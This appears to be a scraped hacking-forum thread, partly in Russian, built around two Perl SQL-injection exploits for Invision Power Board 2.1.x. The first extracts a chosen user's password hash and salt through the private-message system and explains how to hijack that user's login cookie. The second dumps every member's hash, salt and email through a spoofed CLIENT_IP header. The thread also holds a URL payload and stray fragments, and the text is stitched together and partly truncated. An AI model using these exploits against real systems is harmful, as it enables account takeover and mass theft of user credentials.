## o 32+ PMs left till your inbox is full, if not you can still delete ##
## PMs from your inbox as the successful ones come through ##
#!/usr/bin/perl
#############################################################################
## IPB <=2.1.4 exploit (possibly 2.1.5 too) ##
## Brought to you by the Ykstortion security team. ##
## А Namelles One тоже не ведро пинает :) ##
## ##
## The bug is in the pm system so you must have a registered user. ##
## The exploit will extract a password hash from the forum's data base of ##
## the target user. ##
## You need to know the target user's member ID but it's not difficult to ##
## find out, just look under their avatar next to one of their posts. ##
## Once you have the hash, simply unset all forum cookies and set ##
## member_id to the target user's member id and pass_hash to the hash ##
## obtained from the database by this script. ##
## ##
## Usage: ##
## $ ./ipb ##
## IPB Forum URL ? forums.example.com/forums ##
## Your username ? krypt_sk1dd13 ##
## Your pass ? if_your_on_nix_this_gets_hidden ##
## Target userid ? 3637 ##
## ##
## Attempting to extract password hash from database... ##
## 537ab2d5b37ac3a3632f5d06e8e04368 ##
## Hit enter to quit. ##
## ##
## Requirements: ##
## o Perl 5 ##
## o LWP 5.64 or later ##
## o Internet access ##
## o A forum you hate/dislike ##
## o A user on said forum ##
## o 32+ PMs left till your inbox is full, if not you can still delete ##
## PMs from your inbox as the successful ones come through ##
## ##
## Credit to: Nuticulus for finding the SQL injection ##
## ##
## Have fun, you dumb skiddie. ##
#############################################################################
use HTTP::Cookies;
use LWP 5.64;
use HTTP::Request;
# variables
my $login_page = '?act=Login&CODE=01';
my $pm_page = '?act=Msg&CODE=04';
my $pose_pm_page = '?';
my $tries = 5;
my $sql = '';
my $hash = '';
my $need_null = 0;
my $i;
my $j;
my @charset = ('0' .. '9', 'a' .. 'z', 'A' .. 'Z', '>', '<', '-', '$', '~', '`', '!', '@', '"', '\'', '"', ';', ':', '#', '№', '%', '^', '&', '?', '*', '(', ')', '+', '=', '{', '}', '[', ']', '.', ',', '|', '/', '\\' );
my %form = (act => 'Msg',
CODE => '04',
MODE => '01',
OID => '',
removeattachid => '',
msg_title => 'asdf',
bbmode => 'normal',
ffont => 0,
fsize => 0,
fcolor => 0,
LIST => ' LIST ',
helpbox => 'Insert Monotype Text (alt + p)',
tagcount => 0,
Post => 'jkl');
# objects
my $ua = LWP::UserAgent->new;
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0);
my $resp;
# init the cookie jar
$ua->cookie_jar ($cj);
# allow redirects on post requests
push @{ $ua->requests_redirectable }, "POST";
# get user input
print 'IPB Forum URL ? ';
chomp (my $base_url = <STDIN>);
print 'Your username ? ';
chomp (my $user = <STDIN>);
$form{entered_name} = $user;
print 'Your pass ? ';
#system 'stty -echo'; # to turn off echoing
chomp (my $pass = <STDIN>);
#system 'stty echo'; # to turn it back on
print "\n";
print 'Target userid ? '; # it'll say next to one of their posts
chomp (my $tid = <STDIN>);
# parse the given base url
if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url }
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }
do {
$resp = $ua->post ($base_url . $login_page,
[ UserName => $user,
PassWord => $pass,
CookieDate => 1,
]);
} while ($tries-- && !$resp->is_success());
# reset tries
$tries = 5;
# did we get 200 (OK) ?
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
# was the pass right ?
if ($resp->content =~ /sorry, the password was wrong/i) {
die "Error: password incorrect.\n";
}
# get ourselves a post_key (and an auth_key too with newer versions)
do {
$resp = $ua->get ($base_url . $pm_page);
} while ($tries-- && !$resp->is_success());
# reset tries
$tries = 5;
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#)
{
$form{post_key} = $1;
} else {
die "Error: couldn't get a post key.\n";
}
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#)
{
$form{auth_key} = $1;
}
# turn off buffering so chars in the hash show up straight away
$| = 1;
print "\nAttempting to extract password hash from database...\n ";
OFFSET:
for ($i = 0; $i < 37; ++$i) {
CHAR:
if ($i == 32) { print "\nAttempting to extract password salt from database...\n "; }
for ($j = 0; $j < @charset; ++$j) {
# reset tries
$tries = 5;
print "\x08", $charset[$j];
# build sql injection
if ($i < 32) {
$sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
. (join (',', map {ord} split ('', $user))) . ') FROM '
. 'ibf_members_converge WHERE converge_id = ' . $tid . ' AND MID('
. 'converge_pass_hash, ' . ($i + 1) . ', 1) = CHAR('
. ord ($charset[$j]) . ')'; }
else
{
$sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
. (join (',', map {ord} split ('', $user))) . ') FROM '
. 'ibf_members_converge WHERE converge_id = ' . $tid . ' AND MID('
. 'converge_pass_salt, ' . ($i - 32 + 1) . ', 1) = CHAR('
. ord ($charset[$j]) . ')';
};
$form{from_contact} = $sql;
$resp = $ua->post ($base_url . $post_pm_page, \%form,
referer => $base_url . $pm_page);
if (!$resp->is_success()) {
die "\nError: " . $resp->status_line
. "\n" if (!$tries);
--$tries;
redo;
}
if ($resp->content =~ /sql error/i) {
if ($need_null) {
die "Error: SQL error.\n";
} else {
$need_null = 1;
redo OFFSET;
}
} elsif ($resp->content !~ /there is no such member/i) {
# we have a winner !
print ' ';
next OFFSET;
}
}
# uh oh, something went wrong
die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
<STDIN>;$this->ipsclass->DB->simple_construct( array( 'select' => 'COUNT(*) AS total', 'from' => 'gallery_images', 'where' => "album_id={$this->ipsclass->input['album']}" ) );$this->ipsclass->DB->simple_construct( array( 'select' => 'COUNT(*) AS total', 'from' => 'gallery_images', 'where' => "album_id={".intval($this->ipsclass->input['album'])."}" ) );Этот сплойт выдаёт одни нолики, проверял на разных форумах. :help:#!/usr/bin/perl
#############################################################################
## IPB <=2.1.4 exploit (possibly 2.1.5 too) ##
## Brought to you by the Ykstortion security team. ##
## А Namelles One тоже не ведро пинает##
## ##
## The bug is in the pm system so you must have a registered user. ##
## The exploit will extract a password hash from the forum's data base of ##
## the target user. ##
## You need to know the target user's member ID but it's not difficult to ##
## find out, just look under their avatar next to one of their posts. ##
## Once you have the hash, simply unset all forum cookies and set ##
## me.........
.........next OFFSET;
}
}
# uh oh, something went wrong
die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
<STDIN>;
сурс
Скриншот|Screenshot
www.xxxx.com/forum/index.php?act=task&ck='index.php?act=task&ck='&lastdate=z|eval.*?%20//)%23e%00
#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
&header();
if (@ARGV < 2) {&info(); exit();}
$server = $ARGV[0];
$dir = $ARGV[1];
print "[+] SERVER {$server}\r\n";
print "[+] DIR {$dir}\r\n";
#Step 1, detecting vulnerability
print "[1] Testing forum vulnerability...";
$q = "UNION SELECT 'VULN',1,1,1/*";
query($q,$server,$dir);
if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
else
{
print "forum unvulnerable\r\n";
exit();
}
#Step 2, detecting prefix
print "[2] Searching prefix...";
$q = "";
query($q,$server,$dir);
$prefix = $rep;
print $prefix."\r\n";
#Step 3, make query
print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
query($q1,$server,$dir);
$kol = $rep;
open(RES,">".$server."_result.txt");
for($id = 1; $id <= $kol; $id++)
{
#You can modify this for your own query.
$own_query = "UNION SELECT CONCAT(converge_id,':',converge_pass_hash,':',converge_pass_salt,'::',converge_email),1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if($rep=~/\d+/) { print RES $rep."\n"; }
}
close(RES);
print "[!] Query was successfully perfomed. Results are in ".$server."_results.txt\r\n";
print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
print "[L] Visit: secbun.info | xss.pro/ | rst.void.ru\r\n";
$ex = <STDIN>;
sub header()
{
print q(
----------------------------------------------------------
* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
* Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc) *
* Coded by w4g.not null *
* FOR EDUCATIONAL PURPOSES *ONLY* *
----------------------------------------------------------
);
}
sub info()
{
print q(
[i] Usage: perl w4gipb216.pl [server] [/dir/]
where
|- server - server, where IPB installed without http://
|- /dir/ - dir, where IPB installed or / for no dir
[i] Stealing info about users (format id:pass:satl::email)
[!] Need MySQL > 4.0
);
}
sub query()
{
my($q,$server,$dir) = @_;
$res = $ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"' ".$q);
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
else
{
if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
}
}
return $rep;
}